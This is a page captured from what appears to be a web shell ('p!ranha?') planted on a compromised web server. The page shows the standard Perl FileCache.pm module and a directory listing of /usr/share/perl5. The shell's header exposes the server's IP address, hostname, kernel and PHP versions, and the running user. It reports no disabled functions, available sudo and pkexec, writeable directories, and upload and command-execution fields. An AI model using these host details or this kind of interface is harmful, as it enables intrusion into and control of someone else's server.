p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/perl5/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/share/perl5/FileCache.pm
package FileCache;

our $VERSION = '1.08';

=head1 NAME

FileCache - keep more files open than the system permits

=head1 SYNOPSIS

    no strict 'refs';

    use FileCache;
    # or
    use FileCache maxopen => 16;

    cacheout $mode, $path;
    # or
    cacheout $path;
    print $path @data;

    $fh = cacheout $mode, $path;
    # or
    $fh = cacheout $path;
    print $fh @data;

=head1 DESCRIPTION

The C<cacheout> function will make sure that there's a filehandle open
for reading or writing available as the pathname you give it. It
automatically closes and re-opens files if you exceed your system's
maximum number of file descriptors, or the suggested maximum I<maxopen>.

=over

=item cacheout EXPR

The 1-argument form of cacheout will open a file for writing (C<< '>' >>)
on it's first use, and appending (C<<< '>>' >>>) thereafter.

Returns EXPR on success for convenience. You may neglect the
return value and manipulate EXPR as the filehandle directly if you prefer.

=item cacheout MODE, EXPR

The 2-argument form of cacheout will use the supplied mode for the initial
and subsequent openings. Most valid modes for 3-argument C<open> are supported
namely; C<< '>' >>, C<< '+>' >>, C<< '<' >>, C<< '<+' >>, C<<< '>>' >>>,
C< '|-' > and C< '-|' >

To pass supplemental arguments to a program opened with C< '|-' > or C< '-|' >
append them to the command string as you would system EXPR.

Returns EXPR on success for convenience. You may neglect the
return value and manipulate EXPR as the filehandle directly if you prefer.

=back

=head1 CAVEATS

While it is permissible to C<close> a FileCache managed file,
do not do so if you are calling C<FileCache::cacheout> from a package other
than which it was imported, or with another module which overrides C<close>.
If you must, use C<FileCache::cacheout_close>.

Although FileCache can be used with piped opens ('-|' or '|-') doing so is
strongly discouraged.  If FileCache finds it necessary to close and then reopen
a pipe, the command at the far end of the pipe will be reexecuted - the results
of performing IO on FileCache'd pipes is unlikely to be what you expect.  The
ability to use FileCache on pipes may be removed in a future release.

FileCache does not store the current file offset if it finds it necessary to
close a file.  When the file is reopened, the offset will be as specified by the
original C<open> file mode.  This could be construed to be a bug.

The module functionality relies on symbolic references, so things will break
under 'use strict' unless 'no strict "refs"' is also specified.

=head1 BUGS

F<sys/param.h> lies with its C<NOFILE> define on some systems,
so you may have to set I<maxopen> yourself.

=cut

require 5.006;
use Carp;
use strict;
no strict 'refs';

# These are not C<my> for legacy reasons.
# Previous versions requested the user set $cacheout_maxopen by hand.
# Some authors fiddled with %saw to overcome the clobber on initial open.
use vars qw(%saw $cacheout_maxopen);
$cacheout_maxopen = 16;

use base 'Exporter';
our @EXPORT = qw[cacheout cacheout_close];


my %isopen;
my $cacheout_seq = 0;

sub import {
    my ($pkg,%args) = @_;

    # Use Exporter. %args are for us, not Exporter.
    # Make sure to up export_to_level, or we will import into ourselves,
    # rather than our calling package;

    __PACKAGE__->export_to_level(1);
    Exporter::import( $pkg );

    # Truth is okay here because setting maxopen to 0 would be bad
    return $cacheout_maxopen = $args{maxopen} if $args{maxopen};

    # XXX This code is crazy.  Why is it a one element foreach loop?
    # Why is it using $param both as a filename and filehandle?
    foreach my $param ( '/usr/include/sys/param.h' ){
      if (open($param, '<', $param)) {
	local ($_, $.);
	while (<$param>) {
	  if( /^\s*#\s*define\s+NOFILE\s+(\d+)/ ){
	    $cacheout_maxopen = $1 - 4;
	    close($param);
	    last;
	  }
	}
	close $param;
      }
    }
    $cacheout_maxopen ||= 16;
}

# Open in their package.
sub cacheout_open {
  return open(*{caller(1) . '::' . $_[1]}, $_[0], $_[1]) && $_[1];
}

# Close in their package.
sub cacheout_close {
  # Short-circuit in case the filehandle disappeared
  my $pkg = caller($_[1]||0);
  defined fileno(*{$pkg . '::' . $_[0]}) &&
    CORE::close(*{$pkg . '::' . $_[0]});
  delete $isopen{$_[0]};
}

# But only this sub name is visible to them.
sub cacheout {
    my($mode, $file, $class, $ret, $ref, $narg);
    croak "Not enough arguments for cacheout"  unless $narg = scalar @_;
    croak "Too many arguments for cacheout"    if $narg > 2;

    ($mode, $file) = @_;
    ($file, $mode) = ($mode, $file) if $narg == 1;
    croak "Invalid mode for cacheout" if $mode &&
      ( $mode !~ /^\s*(?:>>|\+?>|\+?<|\|\-|)|\-\|\s*$/ );

    # Mode changed?
    if( $isopen{$file} && ($mode||'>') ne $isopen{$file}->[1] ){
      &cacheout_close($file, 1);
    }

    if( $isopen{$file}) {
      $ret = $file;
      $isopen{$file}->[0]++;
    }
    else{
      if( scalar keys(%isopen) > $cacheout_maxopen -1 ) {
	my @lru = sort{ $isopen{$a}->[0] <=> $isopen{$b}->[0] } keys(%isopen);
	$cacheout_seq = 0;
	$isopen{$_}->[0] = $cacheout_seq++ for
	  splice(@lru, int($cacheout_maxopen / 3)||$cacheout_maxopen);
	&cacheout_close($_, 1) for @lru;
      }

      unless( $ref ){
	$mode ||= $saw{$file} ? '>>' : ($saw{$file}=1, '>');
      }
      #XXX should we just return the value from cacheout_open, no croak?
      $ret = cacheout_open($mode, $file) or croak("Can't create $file: $!");

      $isopen{$file} = [++$cacheout_seq, $mode];
    }
    return $ret;
}
1;
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:00:09
0 / 0
0755
App
--
February 02 2021 16:32:27
0 / 0
0755
Archive
--
February 02 2021 16:32:27
0 / 0
0755
Attribute
--
January 19 2024 08:12:46
0 / 0
0755
B
--
January 19 2024 08:12:46
0 / 0
0755
Class
--
January 19 2024 08:12:46
0 / 0
0755
Compress
--
February 02 2021 16:32:27
0 / 0
0755
Config
--
January 19 2024 08:12:46
0 / 0
0755
DBM_Filter
--
January 19 2024 08:12:46
0 / 0
0755
Devel
--
January 19 2024 08:12:46
0 / 0
0755
Encode
--
January 19 2024 08:12:46
0 / 0
0755
ExtUtils
--
January 19 2024 08:12:46
0 / 0
0755
File
--
January 19 2024 08:12:46
0 / 0
0755
Filter
--
January 19 2024 08:12:46
0 / 0
0755
Getopt
--
January 19 2024 08:12:46
0 / 0
0755
HTTP
--
February 02 2021 16:32:27
0 / 0
0755
I18N
--
January 19 2024 08:12:46
0 / 0
0755
IO
--
January 19 2024 08:12:46
0 / 0
0755
IPC
--
January 19 2024 08:12:46
0 / 0
0755
JSON
--
February 02 2021 16:32:27
0 / 0
0755
Locale
--
February 02 2021 16:32:27
0 / 0
0755
Log
--
January 19 2024 08:12:46
0 / 0
0755
Math
--
January 19 2024 08:12:46
0 / 0
0755
Memoize
--
January 19 2024 08:12:46
0 / 0
0755
Module
--
January 19 2024 08:12:46
0 / 0
0755
Net
--
January 19 2024 08:12:46
0 / 0
0755
Perl
--
February 02 2021 16:32:27
0 / 0
0755
PerlIO
--
January 19 2024 08:12:46
0 / 0
0755
Pod
--
January 19 2024 08:12:46
0 / 0
0755
Search
--
January 19 2024 08:12:46
0 / 0
0755
Term
--
January 19 2024 08:12:46
0 / 0
0755
Test
--
February 02 2021 16:32:27
0 / 0
0755
Text
--
January 19 2024 08:12:46
0 / 0
0755
Thread
--
January 19 2024 08:12:46
0 / 0
0755
Tie
--
January 19 2024 08:12:46
0 / 0
0755
Time
--
January 19 2024 08:12:46
0 / 0
0755
Unicode
--
January 19 2024 08:12:46
0 / 0
0755
User
--
January 19 2024 08:12:46
0 / 0
0755
Version
--
February 02 2021 16:32:27
0 / 0
0755
encoding
--
January 19 2024 08:12:46
0 / 0
0755
overload
--
January 19 2024 08:12:46
0 / 0
0755
pod
--
January 19 2024 08:12:46
0 / 0
0755
unicore
--
January 19 2024 08:12:46
0 / 0
0755
vendor_perl
--
February 02 2021 16:33:01
0 / 0
0755
warnings
--
January 19 2024 08:12:46
0 / 0
0755
AnyDBM_File.pm
2.557 KB
February 02 2021 16:32:27
0 / 0
0644
AutoLoader.pm
14.657 KB
February 02 2021 16:32:27
0 / 0
0644
AutoSplit.pm
19.177 KB
February 02 2021 16:32:27
0 / 0
0644
Benchmark.pm
27.867 KB
February 02 2021 16:32:27
0 / 0
0644
CORE.pod
2.7 KB
February 02 2021 16:32:27
0 / 0
0644
DB.pm
18.431 KB
February 02 2021 16:32:27
0 / 0
0644
DBM_Filter.pm
14.058 KB
February 02 2021 16:32:27
0 / 0
0644
DirHandle.pm
1.52 KB
February 02 2021 16:32:27
0 / 0
0644
Dumpvalue.pm
16.502 KB
February 02 2021 16:32:27
0 / 0
0644
English.pm
4.34 KB
February 02 2021 16:32:27
0 / 0
0644
FileCache.pm
5.439 KB
February 02 2021 16:32:27
0 / 0
0644
FileHandle.pm
6.619 KB
February 02 2021 16:32:27
0 / 0
0644
FindBin.pm
4.454 KB
February 02 2021 16:32:27
0 / 0
0644
Memoize.pm
34.396 KB
February 02 2021 16:32:27
0 / 0
0644
NEXT.pm
18.048 KB
February 02 2021 16:32:27
0 / 0
0644
PerlIO.pm
10.192 KB
February 02 2021 16:32:27
0 / 0
0644
Safe.pm
24.029 KB
February 02 2021 16:32:27
0 / 0
0644
SelectSaver.pm
1.051 KB
February 02 2021 16:32:27
0 / 0
0644
SelfLoader.pm
16.97 KB
February 02 2021 16:32:27
0 / 0
0644
Symbol.pm
4.682 KB
February 02 2021 16:32:27
0 / 0
0644
Test.pm
28.125 KB
February 02 2021 16:32:27
0 / 0
0644
Thread.pm
8.091 KB
February 02 2021 16:32:27
0 / 0
0644
UNIVERSAL.pm
6.967 KB
February 02 2021 16:32:27
0 / 0
0644
XSLoader.pm
9.993 KB
February 02 2021 16:32:27
0 / 0
0644
_charnames.pm
29.799 KB
February 02 2021 16:32:27
0 / 0
0644
autouse.pm
4.139 KB
February 02 2021 16:32:27
0 / 0
0644
base.pm
6.374 KB
February 02 2021 16:32:27
0 / 0
0644
bigint.pm
17.443 KB
February 02 2021 16:32:27
0 / 0
0644
bignum.pm
18.229 KB
February 02 2021 16:32:27
0 / 0
0644
bigrat.pm
14.105 KB
February 02 2021 16:32:27
0 / 0
0644
blib.pm
2.037 KB
February 02 2021 16:32:27
0 / 0
0644
bytes.pm
2.962 KB
February 02 2021 16:32:27
0 / 0
0644
bytes_heavy.pl
0.74 KB
February 02 2021 16:32:27
0 / 0
0644
charnames.pm
19.222 KB
February 02 2021 16:32:27
0 / 0
0644
deprecate.pm
3.006 KB
February 02 2021 16:32:27
0 / 0
0644
diagnostics.pm
17.956 KB
February 02 2021 16:32:27
0 / 0
0644
dumpvar.pl
14.962 KB
February 02 2021 16:32:27
0 / 0
0644
feature.pm
11.056 KB
February 02 2021 16:32:27
0 / 0
0644
fields.pm
9.276 KB
February 02 2021 16:32:27
0 / 0
0644
filetest.pm
3.909 KB
February 02 2021 16:32:27
0 / 0
0644
if.pm
1.131 KB
February 02 2021 16:32:27
0 / 0
0644
integer.pm
3.189 KB
February 02 2021 16:32:27
0 / 0
0644
less.pm
3.129 KB
February 02 2021 16:32:27
0 / 0
0644
locale.pm
2.717 KB
February 02 2021 16:32:27
0 / 0
0644
open.pm
7.828 KB
February 02 2021 16:32:27
0 / 0
0644
overload.pm
52.662 KB
February 02 2021 16:32:27
0 / 0
0644
overloading.pm
1.766 KB
February 02 2021 16:32:27
0 / 0
0644
perl5db.pl
302.786 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq.pm
0.092 KB
February 02 2021 16:32:27
0 / 0
0644
sigtrap.pm
7.464 KB
February 02 2021 16:32:27
0 / 0
0644
sort.pm
5.95 KB
February 02 2021 16:32:27
0 / 0
0644
strict.pm
3.841 KB
February 02 2021 16:32:27
0 / 0
0644
subs.pm
0.825 KB
February 02 2021 16:32:27
0 / 0
0644
utf8.pm
7.599 KB
February 02 2021 16:32:27
0 / 0
0644
utf8_heavy.pl
30.098 KB
February 02 2021 16:32:27
0 / 0
0644
vars.pm
2.303 KB
February 02 2021 16:32:27
0 / 0
0644
vmsish.pm
4.221 KB
February 02 2021 16:32:27
0 / 0
0644
warnings.pm
18.336 KB
February 02 2021 16:32:27
0 / 0
0644